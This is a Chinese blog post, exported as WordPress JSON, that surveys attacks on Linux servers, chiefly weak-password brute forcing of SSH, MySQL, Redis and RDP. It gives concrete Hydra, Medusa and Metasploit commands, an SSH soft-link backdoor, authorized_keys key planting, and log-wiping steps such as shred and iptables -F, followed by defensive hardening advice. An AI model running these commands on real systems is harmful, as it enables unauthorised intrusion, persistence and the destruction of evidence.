{"id":52271,"date":"2025-08-11T12:15:10","date_gmt":"2025-08-11T04:15:10","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/52271.html"},"modified":"2025-08-11T12:15:10","modified_gmt":"2025-08-11T04:15:10","slug":"linux-%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%bf%9c%e7%a8%8b%e6%94%bb%e5%87%bb%e4%b8%8e%e5%bc%b1%e5%af%86%e7%a0%81%e7%88%86%e7%a0%b4%e6%8a%80%e6%9c%af%e7%bb%bc%e8%bf%b0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/52271.html","title":{"rendered":"Linux \u670d\u52a1\u5668\u8fdc\u7a0b\u653b\u51fb\u4e0e\u5f31\u5bc6\u7801\u7206\u7834\u6280\u672f\u7efc\u8ff0"},"content":{"rendered":"

\u3010\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u3001\u6559\u5b66\u53ca\u5408\u6cd5\u6e17\u900f\u6d4b\u8bd5\u53c2\u8003，\u4e25\u7981\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u7528\u9014\u3011<\/p>\n

\u4e00\u3001\u653b\u51fb\u9762\u603b\u89c8
\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014
\n\u5bf9\u66b4\u9732\u5728\u516c\u7f51\u7684 Linux \u670d\u52a1\u5668，\u653b\u51fb\u8005\u901a\u5e38\u6cbf\u7740\u4ee5\u4e0b\u94fe\u8def\u5c55\u5f00\u884c\u52a8：<\/p>\n

  • \u4fe1\u606f\u6536\u96c6 \u2192 2. \u7aef\u53e3\/\u670d\u52a1\u53d1\u73b0 \u2192 3. \u5f31\u53e3\u4ee4\u7206\u7834 \u2192 4. \u8fdc\u7a0b\u6f0f\u6d1e\u5229\u7528 \u2192 5. \u63d0\u6743\u4e0e\u6301\u4e45\u5316 \u2192 6. \u6e05\u7406\u75d5\u8ff9\u3002
    \n\u672c\u6587\u805a\u7126\u7b2c 3 \u6b65\u201c\u5f31\u5bc6\u7801\u7834\u89e3\u201d\u53ca\u5176\u524d\u7f6e\u4e0e\u540e\u7eed\u73af\u8282，\u68b3\u7406\u5e38\u89c1\u624b\u6cd5\u3001\u5de5\u5177\u94fe\u4e0e\u9632\u5fa1\u5efa\u8bae\u3002<\/li>\n

    \u4e8c\u3001\u5178\u578b\u653b\u51fb\u6d41\u7a0b
    \n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n

  • \n

    \u4fe1\u606f\u6536\u96c6
    \n\u2022 \u4f7f\u7528 Nmap\u3001Masscan \u5feb\u901f\u626b\u5168\u7f51 22\/2222\/3389\/3306\/6379 \u7b49\u9ad8\u5371\u7aef\u53e3 \u3002
    \n\u2022 \u7ed3\u5408 shodan\u3001censys \u641c\u7d22\u516c\u7f51\u66b4\u9732\u7684 SSH\u3001MySQL\u3001Redis \u670d\u52a1\u3002<\/p>\n<\/li>\n

  • \n

    \u5f31\u53e3\u4ee4\u7206\u7834
    \na) SSH \u7206\u7834
    \n\u2013 \u5de5\u5177：Hydra\u3001Medusa\u3001Metasploit \u7684 auxiliary\/scanner\/ssh\/ssh_login \u3002
    \n\u2013 \u5b57\u5178：top10000\u3001\u7206\u7834\u793e\u533a\u6cc4\u9732\u5b57\u5178\u3001\u793e\u5de5\u5b9a\u5236\u5b57\u5178（\u59d3\u540d\u62fc\u97f3+\u751f\u65e5）\u3002
    \n\u2013 \u547d\u4ee4\u793a\u4f8b（Hydra）：<\/p>\n

    hydra -L user.txt -P pass.txt -t 32<\/span> -s 22<\/span> ssh:\/\/target_ip<\/p>\n

    b) MySQL \u7206\u7834
    \n\u2013 \u573a\u666f：MySQL \u5f00\u653e 3306 \u4e14 skip-grant-tables \u8bef\u914d\u7f6e\u3002
    \n\u2013 \u5de5\u5177：Hydra\u3001Metasploit auxiliary\/scanner\/mysql\/mysql_login \u3002
    \nc) Redis \u7206\u7834
    \n\u2013 \u82e5\u672a\u8bbe\u7f6e requirepass，\u53ef\u76f4\u63a5\u5199\u516c\u94a5\u3001\u8ba1\u5212\u4efb\u52a1\u62ff\u5230 shell\u3002
    \nd) RDP \u7206\u7834
    \n\u2013 \u5de5\u5177：Crowbar\u3001ncrack（\u652f\u6301\u591a\u7ebf\u7a0b RDP \u7206\u7834）\u3002<\/p>\n<\/li>\n

  • \n

    \u8fdc\u7a0b\u6f0f\u6d1e\u5229\u7528（\u914d\u5408\u7206\u7834）
    \n\u2022 OpenSSH < 8.2 \u7684 user-enumeration + \u7206\u7834\u7ec4\u5408\u62f3 \u3002
    \n\u2022 Web \u7ba1\u7406\u53e3（phpMyAdmin\u3001Jenkins\u3001Sonatype Nexus）\u5f31\u53e3\u4ee4 \u2192 \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u3002<\/p>\n<\/li>\n

  • \n

    \u63d0\u6743\u4e0e\u6301\u4e45\u5316
    \n\u2022 \u7206\u7834\u6210\u529f\u540e，\u901a\u8fc7 sudo -l\u3001SUID\u3001Polkit \u7b49\u672c\u5730\u63d0\u6743\u3002
    \n\u2022 \u5e38\u89c1\u540e\u95e8：
    \n\u2013 SSH soft link \u540e\u95e8：ln -sf \/usr\/sbin\/sshd \/tmp\/su; \/tmp\/su -oPort=33223 \u3002
    \n\u2013 authorized_keys \u516c\u94a5\u5199\u5165，\u5b9e\u73b0\u514d\u5bc6\u767b\u5f55\u3002
    \n\u2022 \u6301\u4e45\u5316：systemd service\u3001crontab\u3001PAM \u6a21\u5757\u6ce8\u5165\u3002<\/p>\n<\/li>\n

  • \n

    \u6e05\u7406\u75d5\u8ff9
    \n\u2022 \u4f7f\u7528 shred -zu \u5220\u9664\u65e5\u5fd7\u3001timestomp \u4fee\u6539\u6587\u4ef6\u65f6\u95f4\u3001iptables -F \u6e05\u7a7a\u9632\u706b\u5899\u65e5\u5fd7\u3002<\/p>\n<\/li>\n

    \u4e09\u3001\u5de5\u5177\u94fe\u901f\u67e5\u8868
    \n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n\n\u573a\u666f\u5de5\u5177\u5e38\u7528\u547d\u4ee4\/\u6a21\u5757\u5907\u6ce8<\/tr>\n\n\n\n\n\n\n\n\n
    \u7aef\u53e3\u626b\u63cf<\/td>\nnmap<\/td>\nnmap -sS -p- -T4 target_ip<\/td>\n\u53ef\u914d\u5408 –script ssh-brute<\/td>\n<\/tr>\n
    SSH \u7206\u7834<\/td>\nHydra<\/td>\nhydra -L\/-P\/-C … ssh:\/\/…<\/td>\n\u652f\u6301\u5e76\u884c 64 \u7ebf\u7a0b<\/td>\n<\/tr>\n
    <\/td>\nMedusa<\/td>\nmedusa -M ssh -H ip.txt -U user.txt -P pass.txt -e ns -F<\/td>\n\u6a21\u5757\u5316，\u652f\u6301 SSL<\/td>\n<\/tr>\n
    <\/td>\nMetasploit<\/td>\nuse auxiliary\/scanner\/ssh\/ssh_login<\/td>\n\u8054\u52a8 meterpreter<\/td>\n<\/tr>\n
    MySQL \u7206\u7834<\/td>\nHydra<\/td>\nhydra -l root -P top1000.txt target_ip mysql<\/td>\n\u540c\u65f6\u7206\u7834 root\/root \u7ec4\u5408<\/td>\n<\/tr>\n
    <\/td>\nMetasploit<\/td>\nuse auxiliary\/scanner\/mysql\/mysql_login<\/td>\n\u53ef\u5bfc\u51fa hash<\/td>\n<\/tr>\n
    Web \u7206\u7834<\/td>\nBurp Intruder\u3001Hydra http-post-form<\/td>\nhydra -L\/-P target_ip http-post-form "\/login.php:user=^USER^&pass=^PASS^:F=Invalid"<\/td>\n\u652f\u6301 CSRF token \u7ed5\u8fc7\u811a\u672c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u56db\u3001\u5b9e\u6218\u6f14\u7ec3（\u5b9e\u9a8c\u73af\u5883）
    \n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n

  • \u9776\u673a：CentOS 7，SSH 22 \u7aef\u53e3，\u5bc6\u7801\u7b56\u7565\u5f31\u3002<\/li>\n
  • \u653b\u51fb\u673a：Kali 2024.2\u3002<\/li>\n
  • \u6b65\u9aa4：
    \na) nmap -sV -p 22 192.168.1.100 \u786e\u8ba4\u7248\u672c OpenSSH 7.4\u3002
    \nb) hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/192.168.1.100 -t 64
    \nc) 30 \u79d2\u540e\u7206\u51fa\u5bc6\u7801 123456 \u2192 \u767b\u5f55 \u2192 sudo -l \u2192 \u53d1\u73b0 (ALL) NOPASSWD:ALL \u2192 \u76f4\u63a5 sudo bash \u83b7\u5f97 root\u3002
    \nd) \u690d\u5165\u516c\u94a5：mkdir -p ~\/.ssh && echo "ssh-rsa AAA…" >> ~\/.ssh\/authorized_keys\u3002<\/li>\n

    \u4e94\u3001\u9632\u5fa1\u52a0\u56fa\u6e05\u5355
    \n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n

  • \n

    \u53e3\u4ee4\u7b56\u7565
    \n\u2022 \u957f\u5ea6 \u226512 \u4f4d，\u5305\u542b\u5927\u5c0f\u5199\u3001\u6570\u5b57\u3001\u7279\u6b8a\u5b57\u7b26；\u5f3a\u5236\u5b9a\u671f\u66f4\u6362\u3002
    \n\u2022 \u4f7f\u7528 pam_pwquality.so \u6216 passwdqc \u5f3a\u5236\u590d\u6742\u5ea6\u3002<\/p>\n<\/li>\n

  • \n

    \u767b\u5f55\u9650\u5236
    \n\u2022 \u4fee\u6539\u9ed8\u8ba4\u7aef\u53e3 \u2260 22；\u542f\u7528 fail2ban \u6216 sshguard \u81ea\u52a8\u5c01\u9501\u7206\u7834 IP \u3002
    \n\u2022 AllowUsers user1@192.168.1.0\/24 \u9650\u5b9a IP \u767d\u540d\u5355\u3002<\/p>\n<\/li>\n

  • \n

    \u53cc\u56e0\u5b50\u8ba4\u8bc1
    \n\u2022 \u4e3a SSH\/Web \u7ba1\u7406\u53e3\u542f\u7528 Google Authenticator \u6216 Duo 2FA\u3002<\/p>\n<\/li>\n

  • \n

    \u65e5\u5fd7\u4e0e\u76d1\u63a7
    \n\u2022 \u5f00\u542f rsyslog + logrotate，\u96c6\u4e2d\u5230 ELK\/Splunk；
    \n\u2022 \u4f7f\u7528 OSSEC\/Wazuh IDS \u5b9e\u65f6\u544a\u8b66\u7206\u7834\u884c\u4e3a\u3002<\/p>\n<\/li>\n

  • \n

    \u8865\u4e01\u4e0e\u57fa\u7ebf
    \n\u2022 \u6bcf\u5468\u6267\u884c yum update \u6216 apt upgrade；
    \n\u2022 \u53c2\u8003 CIS Benchmark \u81ea\u52a8\u5316\u52a0\u56fa（Ansible\/Chef）\u3002<\/p>\n<\/li>\n

    \u516d\u3001\u6cd5\u5f8b\u4e0e\u9053\u5fb7\u58f0\u660e
    \n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014
    \n\u4efb\u4f55\u672a\u7ecf\u6388\u6743\u7684\u8fdc\u7a0b\u653b\u51fb\u3001\u5165\u4fb5\u3001\u7206\u7834\u884c\u4e3a\u5747\u8fdd\u53cd\u300a\u5211\u6cd5\u300b\u7b2c 285\u3001286 \u6761，\u53ef\u6784\u6210\u201c\u975e\u6cd5\u4fb5\u5165\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u7f6a\u201d\u201c\u7834\u574f\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u7f6a\u201d\u3002\u672c\u6587\u5185\u5bb9\u4ec5\u9650\u4e8e\u5408\u6cd5\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u3001\u653b\u9632\u6f14\u7ec3\u53ca\u6559\u5b66\u7814\u7a76\u573a\u666f，\u4e25\u7981\u7528\u4e8e\u975e\u6cd5\u76ee\u7684\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

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